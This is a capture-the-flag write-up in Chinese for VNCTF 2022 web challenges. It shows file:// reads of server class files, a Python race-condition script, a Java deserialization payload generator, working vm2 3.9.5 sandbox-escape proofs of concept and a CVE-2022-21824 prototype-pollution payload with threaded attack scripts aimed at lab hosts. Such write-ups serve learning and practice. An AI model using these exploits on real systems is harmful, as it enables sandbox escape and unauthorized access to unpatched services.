web
GameV4.0
翻一下js找到base64编码的flag,解码即可得

gocalc0
题目提示

base64解码得

发现中间还一段可以解码,解码得flag

easyJava
考点:java审计(文件读取+条件竞争+简单的java反序列化)

告诉了一个路由,访问得

尝试一下,报错,可以辨认是java的后端

尝试一下发现file可以用

读web目录
1
|
file:///proc/self/cwd/webapps/ROOT/WEB-INF/
|

继续读classes目录
1
|
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes
|

1
|
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet
|

把这两个class文件下载后反编译,得到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package servlet;
import java.io.IOException;
import java.io.InputStream;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import util.UrlUtil;
@WebServlet(
name = "FileServlet",
urlPatterns = {"/file"}
)
public class FileServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String url = req.getParameter("url");
if (url != null) {
InputStream responseContent = null;
try {
responseContent = UrlUtil.visit(url);
IOUtils.copy(responseContent, resp.getOutputStream());
resp.flushBuffer();
} catch (Exception e) {
e.printStackTrace();
} finally {
responseContent.close();
}
} else {
this.Response(resp, "please input a url");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Base64.Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
|
一眼发现漏洞点

但是是要传入密钥key,一个是反序列化一个一样的user对象
首先我们要得到key,但是,要满足第一次 Secr3t.check(this.name) 返回 False (进入 else 分支),第二次 Secr3t.check(this.name) 返回 True (进入打印 Key 的逻辑)。
1
2
3
4
5
6
|
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
|
那就是条件竞争了,但是线程不要太多,不然buu的靶机会429
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
import requests
import threading
import time
import os
# 目标 URL
url = "http://a7a4bf00-85a9-41a9-ae63-33950700dd8c.node5.buuoj.cn:81/evi1"
def race(payload, check_result=False):
while True:
try:
# 发送请求
r = requests.get(url, params={'name': payload}, timeout=3)
# 如果是负责检查的线程,且发现了 Key
if check_result and "The Key is" in r.text:
print(f"\n\n[SUCCESS] 拿到 Key 了:\n{r.text}\n")
os._exit(0) # 直接结束所有线程
# 遇到 429 即使避让
if "429" in r.text:
print("x", end="", flush=True) # 打印 x 表示被限流
time.sleep(2)
else:
print(".", end="", flush=True) # 打印 . 表示正常
# 主动休眠 0.2 秒防止发包太快被封
time.sleep(0.2)
except:
pass
print("[-] 开始竞争 Key (按 Ctrl+C 停止)...")
# 开启 3 组线程对冲,既保证并发度,又不至于瞬间把服务器打死
for _ in range(3):
threading.Thread(target=race, args=("123", True)).start()
threading.Thread(target=race, args=("vnctf2022", False)).start()
|
得到
1
|
Bq0hXOXgd0Fe4uf9wMcjKwCuBDiFb7d7
|
要反序列化,我们需要在本地生成一个恶意的 User 对象。 要生成这个对象,我们必须知道服务器上 User 类的定义,先读User.class
1
|
file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/entity/User.clas
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
|
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class User implements Serializable {
private String name;
private String age;
private transient String height;
public User(String name, String age, String height) {
this.name = name;
this.age = age;
this.height = height;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public String getAge() {
return this.age;
}
public void setAge(String age) {
this.age = age;
}
public String getHeight() {
return this.height;
}
public void setHeight(String height) {
this.height = height;
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
public boolean equals(Object obj) {
if (obj == null) {
return false;
} else if (this == obj) {
return true;
} else if (obj instanceof User) {
User user = (User)obj;
return user.getAge().equals(this.age) && user.getHeight().equals(this.height) && user.getName().equals(this.name);
} else {
return false;
}
}
public String toString() {
return "User{name='" + this.name + '\'' + ", age='" + this.age + '\'' + ", height='" + this.height + '\'' + '}';
}
}
|
接下来生成反序列化 Payload,先创建如下文件
1
2
3
4
|
payload_gen/
├── Exp.java
└── entity/
└── User.java
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
package entity;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream; // 新增
import java.io.Serializable;
public class User implements Serializable {
private String name;
private String age;
private transient String height;
public User(String name, String age, String height) {
this.name = name;
this.age = age;
this.height = height;
}
// --- 省略 getter/setter/equals/toString,为了保证 serialVersionUID 计算一致,建议保留 ---
// 但为了代码简洁,且我们没有显式定义 UID,只要字段和方法签名一致即可。
// 如果服务器报错 InvalidClassException,我们需要把原本的 getter/setter 全补回来。
// 为了稳妥,我把原本的方法都写在这里,确保 UID 一致。
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public String getAge() { return this.age; }
public void setAge(String age) { this.age = age; }
public String getHeight() { return this.height; }
public void setHeight(String height) { this.height = height; }
// 服务器端的 readObject
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
// [关键] 我们必须添加这个 writeObject 来配合服务器的 readObject
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject(); // 写入 name 和 age
s.writeObject(this.height); // 手动写入 transient 的 height
}
// 必须保留 equals 和 toString 这里的签名,防止 UID 变化
public boolean equals(Object obj) { return true; } // 本地生成不需要真实逻辑,只要方法存在
public String toString() { return ""; }
}
|
这里通过重写一下writeObject方法绕过transient
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
import entity.User;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception {
// 1. 根据 HelloWorldServlet 的 init 方法,我们需要构造完全一样的值
// private volatile String name = "m4n_q1u_666";
// private volatile String age = "666";
// private volatile String height = "180";
User user = new User("m4n_q1u_666", "666", "180");
// 2. 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(user);
oos.close();
// 3. Base64 编码
String base64 = Base64.getEncoder().encodeToString(barr.toByteArray());
System.out.println("Payload 生成成功:");
System.out.println(base64);
}
}
|
1
2
3
4
5
|
# 编译
javac entity/User.java Exp.java
# 运行
java Exp
|
得到
1
|
rO0ABXNyAAtlbnRpdHkuVXNlcm1aqowD0DcIAwACTAADYWdldAASTGphdmEvbGFuZy9TdHJpbmc7TAAEbmFtZXEAfgABeHB0AAM2NjZ0AAttNG5fcTF1XzY2NnQAAzE4MHg=
|
然后post提交参数即可

newcalc0
题目给了源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
const express = require("express");
const path = require("path");
const vm2 = require("vm2");
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());
app.use(express.static("static"));
const vm = new vm2.NodeVM();
app.use("/eval", (req, res) => {
const e = req.body.e;
if (!e) {
res.send("wrong?");
return;
}
try {
res.send(vm.run("module.exports="+e)?.toString() ?? "no");
} catch (e) {
console.log(e)
res.send("wrong?");
}
});
app.use("/flag", (req, res) => {
if(Object.keys(Object.prototype).length > 0) {
Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
res.send(process.env.FLAG);
} else {
res.send(Object.keys(Object.prototype));
}
})
app.use("/source", (req, res) => {
let p = req.query.path || "/src/index.js";
p = path.join(path.resolve("."), path.resolve(p));//path.resolve() 有一个特性:如果参数是一个绝对路径(比如 /etc/passwd),它会忽略前面的所有路径,直接返回这个绝对路径。
console.log(p);
res.sendFile(p);
});
app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});
app.listen(process.env.PORT || 8888);
|
题目提示了package.json,我们查看一下,由于文件读取有路径拼接,我们直接读source?path=/package.json

发现是vm2的3.9.5版本,找找历史漏洞
1
|
python exploit.py http://679af2d9-e066-473b-8663-d907936947e3.node5.buuoj.cn:81/eval
|
非预期:vm2沙箱逃逸漏洞
挑一个打就是了,不过按当时那个时候应该是打版本<3.9.6那个poc了
po1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
// tested on Node.js 16.10.0
const {VM} = require('vm2');
vmInstance = new VM();
console.log(vmInstance.run(`
function foo(ref) {
new Error().stack;
}
let obj = {};
Object.defineProperty(Object.prototype, 0, {
set: function () {
foo(this);
try {
obj[0] = 0;
} catch (e) {
e.__proto__.__proto__.__proto__.polluted = 'success';
}
}
})
`));
console.log(polluted);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
|
// tested with Node.js 17.1.0 and latest vm2 version
// generated from "/home/cris/work/js-isolation/analysis/Dataset/1V8/regress/regress-672041.js", partially with the support of the generator
const {VM} = require('vm2');
vmInstance = new VM();
vmInstance.run(`
function getRootPrototype(obj) {
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).polluted = "success";
}
`);
console.log(polluted);
|
https://security.snyk.io/vuln/SNYK-JS-VM2-2309905
要满足Object.keys(Object.prototype).length > 0,就可以改变Object.prototype的值,根据js原生链调用的关系,就可以直接写出payload如下
1
|
getRootPrototype(e).prototype=[1,2,3];
|
然后使用
1
2
|
module.exports=Object.keys(Object.prototype);
查看注入是否成功
|
由于代码有delete Object.prototype['as'],所以要条件竞争,exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
import requests
import threading
url = "http://7c50a466-3981-4a16-8b30-e50800be1824.node5.buuoj.cn:81/"
def eval_req():
while True:
try:
res = requests.post(url+'eval', data={"e": '''1;function getRootPrototype(obj) {
while (obj.__proto__) {
obj = obj.__proto__;
}
return obj;
}
function stack(ref, cb) {
let stack = new Error().stack;
stack.match(/checkReferenceRecursive/g);
}
try {
global.temp0 = RegExp.prototype.__defineGetter__('global', () => {
getRootPrototype(this);
stack(this);
return true;
}), function functionInvocationAnalysis(r) {
stack(r);
}(temp0), global.temp0;
RegExp.prototype.exec = function (str) {
stack(arguments);
};
} catch (e) {
getRootPrototype(e).as=[1,2,3];
module.exports=Object.keys(Object.prototype);
}'''})
if res.status_code == 200:
print(res.text[:50])
except:
pass
def flag_req():
while True:
try:
res = requests.get(url+'flag')
if res.status_code == 200:
print(res.text[:50])
except:
pass
print("开始攻击...")
for _ in range(3):
threading.Thread(target=eval_req, daemon=True).start()
threading.Thread(target=flag_req, daemon=True).start()
try:
while True:
pass
except KeyboardInterrupt:
print("停止攻击")
|
预期解:CVE-2022-21824
Node.js — January 10th 2022 Security Releases

1
|
console.table([{a:1}], ["__proto__"])
|
1
2
3
4
5
6
7
8
9
10
11
|
第一个参数 [{a:1}]:
这是一个包含普通对象的数组。
这个普通对象 {a:1} 的原型(__proto__)自然指向宿主环境的 Object.prototype。
第二个参数 ["__proto__"]:
这是 properties 参数,用来指定表格要显示哪些列。
当你指定列名为 "__proto__" 时,console.table 会去读取第一个参数中那个对象的 __proto__ 属性(也就是去读 Object.prototype)。
console.table 在构建表格数据时,为了补全某些缺失的单元格或进行格式化,会尝试对读取到的属性(这里变成了 Object.prototype)进行赋值操作。
由于逻辑错误,它会将一个空字符串 "" 赋值给该对象的数字索引键(通常是索引 0)。
结果:Object.prototype[0] = ""。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
import requests
import threading
url = "http://379829c3-57df-4f97-b824-7fb01a667b3a.node5.buuoj.cn:81/"
def eval_req():
while True:
try:
res = requests.post(url+'eval', data={"e": '''console.table([{a:1}],['__proto__'])'''})
if res.status_code == 200:
print(res.text[:50])
except:
pass
def flag_req():
while True:
try:
res = requests.get(url+'flag')
if res.status_code == 200:
print(res.text[:50])
except:
pass
print("开始攻击...")
for _ in range(3):
threading.Thread(target=eval_req, daemon=True).start()
threading.Thread(target=flag_req, daemon=True).start()
try:
while True:
pass
except KeyboardInterrupt:
print("停止攻击")
|